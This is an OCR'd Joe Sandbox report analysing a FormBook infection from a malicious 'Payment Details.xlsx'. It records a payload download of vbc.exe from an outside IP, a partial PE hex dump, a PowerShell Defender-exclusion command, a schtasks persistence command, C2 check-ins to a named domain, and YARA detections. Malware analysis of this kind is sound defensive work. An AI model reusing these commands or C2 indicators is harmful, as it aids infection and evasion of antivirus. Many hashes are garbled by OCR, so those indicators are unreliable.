WE..F.G..H.

C:\Users\luser\AppData\Local\Temp\~DF9A98EC95844A9751.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

data

dropped

512

0.0

false

3

BF619EACOCDF3F68D496EA9344137E8B
5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AES
076A27C79ES5ACE2A3D47FIDD2E83E4FF6EA8872B3C2218F66C92B89IB55F36560

DF40D4A774E0B453A5B87C00D6FOEF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BEIDAFB5D1B5F2D0OCGED34|
FE

false

C:\Users\luser\AppData\Local\Temp\~DFBA44D8F3B40A3F94.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

512

0.0

false

3

BF619EACOCDF3F68D496EA9344137E8B
5C3EB80066420002BC3DCC7CA4AB6EFAD7EDAAES
076A27C79E5ACE2A3D47FIDD2E83E4AFF6EA8872B3C2218F66C92B89IB55F36560

DF40D4A774E0B453A5B87C00D6FOEF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BEIDAFB5D1B5F2D0CGED34|
FE

false

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\R7THWQA7HZJYT21Z3G4UU.temp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWwOW64\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.5846139722878556

false
96:chQC4MqGqvsqvJCwoBz8hQC4MgGqvsEHyqvICwor/ztAKrVHypxpyX3IUVLA2:cm70Bz8mvHnor/zt58f8X4A2
247B62A1E21D993F810B83CF19997157

43974401B3DA0OE188A101465DC510105D64D7222
A95B81263776693FAAAG622A07365AE7FB40F60FEGFOE30E71F1C790AC25B6D8D

B32597386AE62602BCAC5BE6A20FC3731814D8F96D2BF1351D746F0BDC7372CBB49C42A86C59D7E1CAF3AB21F1232FE3ES55EE7BC88D1BESB94355ADACEEB!
D9

false

.................. P.O. .i....+00.../C\.....oeve M1 N PROGRA~3..D... 3L KL wPr0
gram.D.ata...X.1...~Jv. MICROS~1.@ M..cros.oft.  RI..wl. Windows.<.....wJ;*. ... W.i.n.d.ow.s.....1......((
LSTARTM~1. j.......io((%e. @....Start. .Menu..@.s.hell3.2.dll,.-21786...~.1...S ..Programs..f........S *...... <...P.r.ograms..@.s.h.e.l
1.3.2..d.ll.,.-2.1.7.8.2.......1.... xJu=..ACCESS~1..l........wJr*..................B....A.c.cess.ories..@.s.h.ell3.2.dll,.-2176.1....1 WINDOW~1..R........,..»"% ...

.................. W.ind.ow.s. .P.owe.rS.he.ll..v.2k..., WINDOW~2.LNK..Z.......,...,*...= o Waiinudoowes.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
data

dropped

8016

3.5846139722878556
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C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)

Encrypted: false

SSDEEP: 96:chQC4MgGqvsqvJCwoBz8hQC4MqGqvsEHyqvJCwor/ztAKrVHypxpyX3IUVLA2:cm70Bz8mvHnor/zt58f8X4A2

MDS5: 247B62A1E21D993F810B83CF19997157

SHA1L: 43974401B3DA0E188A101465DC510105D64D7222

SHA-256: A95B81263776693FAAA622A07365AE7FB40F60FEBFOE30E71F1C790AC25B6D8D

SHA-512: B32597386AE62602BCAC5BE6A20FC3731814D8F96D2BF1351D746F0OBDC7372CBB49C42A86C59D7E1CAF3AB21F1232FE3ES55EE7BC88D1BESBI4355ADACEEB!
D9

Malicious: false

Preview:
................................... FLoviivine 8D X0 D XA D Kol PLOL L4000 /CoM e ML {3\ PROGRA~3.D. L {J WL K PLTOL
gram.D.ata...X1l..~Jv. MICROS~1.@.......~J|V*..L.coooons M.i.c.r.o.s.0.ft....R.1....wJ;.. Windows.<.........wJ;.* W.ind.ows.....1.....:((
.STARTM~1..j.......: @....S.tart. .Men.u..@.s.h.ell3.2.dll,.-21786...~.1....S ..Programs..f........S .*.. <...P.ro.grams..@.s.he.l
1.3.2..d.11.,.-.2.1.7.8.2......1....xJu=..,ACCESS~1..l.....wJr.*.................B....A.c.cess.s.ories..@.s.hell3.2.dll,.-2176.1..jJ1. .. " .WINDOW~1.R......,.;"* ...

.................. W.i.n.d.o.w.s. .P.owe.r.S.he.ll..v.2k. WINDOW~2.LNK..Z.......

Process: C:\Users\Public\vbc.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 723456

Entropy (8bit):  7.763310640308659

Encrypted: false

SSDEEP: 12288:EBzcmhiTIqgxiWT/niO1/pFbHfi17evEf6BFMmMEJWixDw/1LgyHixBFmRq:EBomhikVAWzNpFDfilggmwK1syHi1Wgq

MD5: 0F88779E9500075DE85E916637305164

SHA1L: EE1B3AF259E9F03239441681FO0AADDD28E4ESFB

SHA-256: C98EACB88F8F4243D7303B806CB58E0AB9E33270CB4B33457C91938A2B2746238

SHA-512: ADEFEE155A0579DA0DC75E4AFF162635338150A884DDDDF47C732A67D69E2F56471CDDD64A7CFFB743DEFC040185CE146B713C6511B3DAC709D4956E2D30E
31

Malicious: true

Antivirus: e Antivirus: ReversingLabs, Detection: 50%

Preview:

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: data
Category: dropped
Size (bytes): 165
Entropy (8bit):  1.4377382811115937
Encrypted: false
SSDEEP: 3:vZ/FFDIW2fV:VBFFGS
MD5: 797869BB881CFBCDAC2064F92B26E46F
SHAL: 61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256: D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0OB081F185
SHA-512: 1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCESBAD3A82D664E3C65CC5251D0E4A21F750911AESDC2FC3653E49F58!
Malicious: true
Preview:
.user JALDULS.
o G
Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped
Size (bytes): 723456
Entropy (8bit):  7.763310640308659
Encrypted: false
SSDEEP: 12288:EBzcmhiTlggxiWT/niO1/pFbHfi17evEf6BFMmEJWixDw/1LgyHixBFmRq:EBomhikV4WzNpFDfilggmwK1syHilWq
MD5: 0F88779E9500075DE8B5E916637305164
SHAL: EE1B3AF259E9F03239441681F00AADDD28E4ESFB
SHA-256: C98EAC88F8F4243D7303B806CB58E0A89E33270CB4B33457C91938A2B2746238
SHA-512: ADEFEE155A0579DA0DC75E4AFF162635338150A884DDDDF47C732A67D69E2F56471CDDD64A7CFFB743DEFC040185CE146B713C6511B3DAC709D4956E2D30E
31
Malicious: true
Antivirus: e Antivirus: ReversingLabs, Detection: 50%
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Preview:

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID Message

11/25/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET)
19:30:53.961180

11/25/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET)
19:30:53.961180

11/25/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET)
19:30:53.961180

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries
Timestamp Source IP Dest IP
Nov 25, 2021 19:30:53.426491022 CET 192.168.2.22 8.8.8.8

Copyright Joe Security LLC 2021

CDFV2 Encrypted

7.971193076260305

e Generic OLE2 / Multistream Compound File
(8008/1) 100.00%

Payment Details.xIsx

234600

f49e322b837835ac60cad8c173ecff31l
c7cddfbf865b528d1bbbbe5c5f3974279cc8b6f5

ff4e17d62ce9c71164879418e7942cecf8db37b16ch66ad
ebc6c2570840f8524

c5ce7feb4ad4d0a3c0bal7c1104d599409c66c1al36e68f3
82df9048e18f02349c16cf4de21437f988e4779ce56847h
9574dd83562dd1239bc88358922e2826h9

6144:HkrpOY+fhX0lopOjRpwyDczCg7DZ1PBxdTiRLbqg
O7:HkrpOJhDo0j7wywzj7DD5/TabT

ede2aaB8aadb4bcbd

Source Dest
Port Port Source IP Dest IP

49167 80 192.168.2.22 52.128.23.153

49167 80 192.168.2.22 52.128.23.153

49167 80 192.168.2.22 52.128.23.153

OP Code Name Type Class
Standard query  www.metafi A (IP address) IN (0x0001)
(0) rstclass.com
Page 25 of 32



DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 25, 2021 8.8.8.8 192.168.2.22 0xc18c No error (0) www.metafi 52.128.23.153 A (IP address) IN (0x0001)
19:30:53.621328115 rstclass.com

CET

HTTP Request Dependency Graph

e 202.55.132.154

* www.metafirstclass.com

HTTP Packets

Session ID Source IP Source Port

0 192.168.2.22 49165
kBytes

Timestamp transferred Direction

Nov 25, 2021 0 ouT

19:29:20.959091902 CET

Nov 25, 2021 1 IN

19:29:21.195264101 CET

Session ID Source IP Source Port

1 192.168.2.22 49167
kBytes

Timestamp transferred Direction

Copyright Joe Security LLC 2021

Destination IP Destination Port Process

202.55.132.154 80 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Data

GET /384500000_1/vbc.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOWG64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 202.55.132.154

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 25 Nov 2021 18:29:20 GMT

Server: Apache/2.4.51 (Win64) OpenSSL/1.1.11 PHP/7.3.31

Last-Modified: Thu, 25 Nov 2021 04:42:24 GMT

ETag: "b0a00-5d19599d2da5b"

Accept-Ranges: bytes

Content-Length: 723456

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 30 14 9f 61 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
30 00 00 fe 0a 00 00 Oa 00 00 00 00 00 00 7e 1d Ob 00 00 20 00 00 00 20 Ob 00 00 00 40 00 00 20 00 00 00 02 00 00 04 0
000 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 Ob 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2¢ 1d Ob 00 4f 00 00 00 00 20 Ob 00 88 06 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 Ob 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 dc fd Oa 00
00 20 00 00 00 fe Oa 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 88 06 00
00 00 20 Ob 00 00 08 00 00 00 00 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00
00 00 00 40 Ob 00 00 02 00 00 00 08 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 60 1d Ob 00 00 00 00 00 48 00 00 00 02 00 05 00 ac 48 01 00 b0 21 01 00 03 00 00 00 8c 01 00 06
5c¢ 6a 02 00 d0 b2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 be 02 73 1f 00 00 Oa 7d 01 00 00 04 02 73 20 00 00 Oa 7d 06 00 00 04 02 28 21 00 00 Oa 02
2814 00 00 06 02 7b 0d 00 00 04 17 6f 22 00 00 Oa 2a 1b 30 03 00 ac 00 00 00 01 00 00 11 02 28 03 00 00 06 02 03 7d
03 00 00 04 03 2d 09 02 14 7d 02 00 00 04 2b 54 02 7b 01 00 00 04 03 6f 23 00 00 Oa 6f 24 00 00 Oa 2c 19 02 02 7b 01 00
00 04 03 6f 23 00 00 Oa 6f 25 00 00 Oa 7d 02 00 00 04 2b 28 02 73 26 00 00 Oa 7d 02 00 00 04 02 7b 01 00 00 04 03 6f 23
00 00 0a 02 7b 02 00 00 04 6f 27 00 00 Oa 02 28 07 00 00 06 02 7b 02 00 00 04 2c 36 02 7b 02 00 00 04 6f 28 00 00 Oa
Oa 2b 0f 12 00 28 29 00 00 Oa Ob 02 07 28 10 00 00 06 12 00 28 2a 00 00 Oa 2d e8 de Oe 12 00 fe 16 11 00 00 1b 6f 12 00
00 Oa dc 2a 01 10 00 00 02 00 81 00 1c 9d 00 Oe 00 00 00 00 8e 02 7b 06 00 00 04 6f 2b 00 00 Oa 02 7b 09 00 00 04 6f 2c
00 00 Oa 6f 2d 00 00 0a 02 14 7d 03 00 00 04 2a 13 30 03 00 29 00 00 00 02 00 00 11 02 7b 07 00 00 04 0a 06 Ob 07 03
28 2e 00 00 Oa 74 04 00 00 02 Oc 02 7c 07 00 00 04 08 07 28 01 00 00 2b Oa 06 07 33 df 2a 00 00 00 13 30 03 00 29 00
00 00 02 00 00 11 02 7b 07 00 00 04 Oa 06 Ob 07 03 28 30 00 00 Oa 74 04 00 00 02 Oc 02 7c 07 00 00 04 08 07 28 01 00
00 2b 0a 06 07 33 df 2a 00 00 00 1b 30 03 00 f9 00 00 00 03 00 00 11 02 7b 03 00 00 04 6f 23

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELOa0~ @ "@,0 @ H.text ".rsrc @@.reloc@@B HH!\js
}s J(!({0"0(}-} T{o#0$,{o#0%}+(s&Ho#{o'({,6{o(+()((*-0*{o+{0,0-FO){(t|(+3*0){(Ot|(+3*0{o#

Destination IP Destination Port Process

52.128.23.153 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Nov 25, 2021 760
19:30:53.961179972 CET

Nov 25, 2021 760
19:30:54.116276979 CET

Code Manipulations

User Modules

Hook Summary

Function Name
PeekMessageA
PeekMessageW
GetMessageW
GetMessageA

Processes

Statistics

Behavior

Data

GET /g2fg/?hZIpd=H/0ZmZGKS5jsRiriaZut4dCEFQpFY2p/TAFyTzOdFvzC4udK1/ISWrgm9fn/kzXoflvKU/jw==&LRgXx=fbcX

Ttnx6x HTTP/1.1

Host: www.metafirstclass.com
Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:

HTTP/1.1 463

Server: nginx

Date: Thu, 25 Nov 2021 18:30:54 GMT

Content-Type: text/html

Content-Length: 8915

Connection: close

ETag: "5e52d3ca-22d3"

X-DIS-Request-1D: 9ab6992f058f33df87d2e92199f1lec19
Set-Cookie: dis-remote-addr=84.17.52.63

Set-Cookie: dis-timestamp=2021-11-25T10:30:54-08:00
Set-Cookie: dis-request-id=9ab6992f058f33df87d2e92199f1ec19
X-Frame-Options: sameorigin

Hook Type Active in Processes
INLINE explorer.exe
INLINE explorer.exe
INLINE explorer.exe
INLINE explorer.exe

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2408 Parent PID: 596

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

19:28:14

25/11/2021

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

false

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
0x13f1a0000

28253536 bytes

D53B85E21886D2AF9815C377537BCAC3

true

true

C, C++ or other language
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Reputation:

File Activities

File Written

Registry Activities

Key Created

Key Value Created

high

Show Windows behavior

Show Windows behavior

Analysis Process: EQNEDT32.EXE PID: 1268 Parent PID: 596

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Registry Activities

Key Created

19:28:36

25/11/2021

C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE
true

"C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE" -Embedding
0x400000

543304 bytes

A87236E214F6D42A65F5DEDAC816AECS

true

true

C, C++ or other language

high

Show Windows behavior

Show Windows behavior

Analysis Process: vbc.exe PID: 3028 Parent PID: 1268

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

19:28:41

25/11/2021

C:\Users\Public\vbc.exe

true

"C:\Users\Public\vbc.exe"

0x80000

723456 bytes
0F88779E9500075DE85E916637305164
true

true

.Net C# or VB.NET
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Yara matches:

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000004.00000002.473128964.00000000023E1000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000004.00000002.473159938.00000000023FF000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000002.473612536.00000000033E9000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000004.00000002.473612536.00000000033E9000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000002.473612536.00000000033E9000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation:

File Activities

File Created

File Deleted

File Written

File Read

low

Show Windows behavior

Analysis Process: powershell.exe PID: 2728 Parent PID: 3028

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:28:43

25/11/2021
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -Exc
lusionPath "C:\Users\user\AppData\Roaming\OmnbtuhFsJys.exe

0x21f30000

452608 bytes
92F44E405DB16AC55D97E3BFE3B132FA
true

true

.Net C# or VB.NET

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: schtasks.exe PID: 2636 Parent PID: 3028

General

Start time: 19:28:44

Start date: 25/11/2021

Path: C:\Windows\SysWOW64\schtasks.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

Copyright Joe Security LLC 2021

true

C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OmnbtuhFsJys" /XML "C:\Us
ers\user\AppData\Local\Temp\tmpC92A.tmp

0x150000
179712 bytes
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MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

2003E9B15E1C502B146DAD2E383AC1ES3
true
true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: vhc.exe PID: 1724 Parent PID: 3028

General

Start time: 19:28:45

Start date: 25/11/2021

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

Copyright Joe Security LLC 2021

true

C:\Users\Public\vbc.exe

0x80000

723456 bytes
0F88779E9500075DE85E916637305164

true

true

C, C++ or other language

.

low

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.506389190.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.506389190.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.506389190.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000000.471438576.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000000.471438576.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000000.471438576.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.506321785.0000000000380000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.506321785.0000000000380000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.506321785.0000000000380000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000000.471899912.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000000.471899912.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000000.471899912.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.506187794.0000000000250000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.506187794.0000000000250000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.506187794.0000000000250000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Show Windows behavior
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File Read

Analysis Process: explorer.exe PID: 1764 Parent PID: 1724

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

19:28:50

25/11/2021
C:\Windows\explorer.exe
false
C:\Windows\Explorer.EXE
0xffa10000

3229696 bytes
38AE1B3C38FAEF56FE4907922F0385BA
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000000.489472241.00000000092FB000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000000.489472241.00000000092FB000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000000.489472241.00000000092FB000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000000.496796334.00000000092FB000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000000.496796334.00000000092FB000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000000.496796334.00000000092FB000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high
File Activities Show Windows behavior
Analysis Process: rundll32.exe PID: 1292 Parent PID: 1764

General

Start time: 19:29:01

Start date: 25/11/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true

C:\Windows\SysWOW64\rundll32.exe
0xd80000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.665478819.0000000000090000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.665478819.0000000000090000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.665478819.0000000000090000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.665720602.0000000000730000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.665720602.0000000000730000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.665720602.0000000000730000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.665582467.0000000000250000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.665582467.0000000000250000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.665582467.0000000000250000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: cmd.exe PID: 2964 Parent PID: 1292

General

Start time: 19:29:07

Start date: 25/11/2021

Path: C:\Windows\SyswOWe64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Deleted

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

true

/c del "C:\Users\Public\vbc.exe"
0x49dc0000

302592 bytes
AD7B9C14083B52BC532FBA5948342B98
true

true

C, C++ or other language

high

Show Windows behavior

Joe Sandbox Cloud Basic 34.0.0 Boulder Opal
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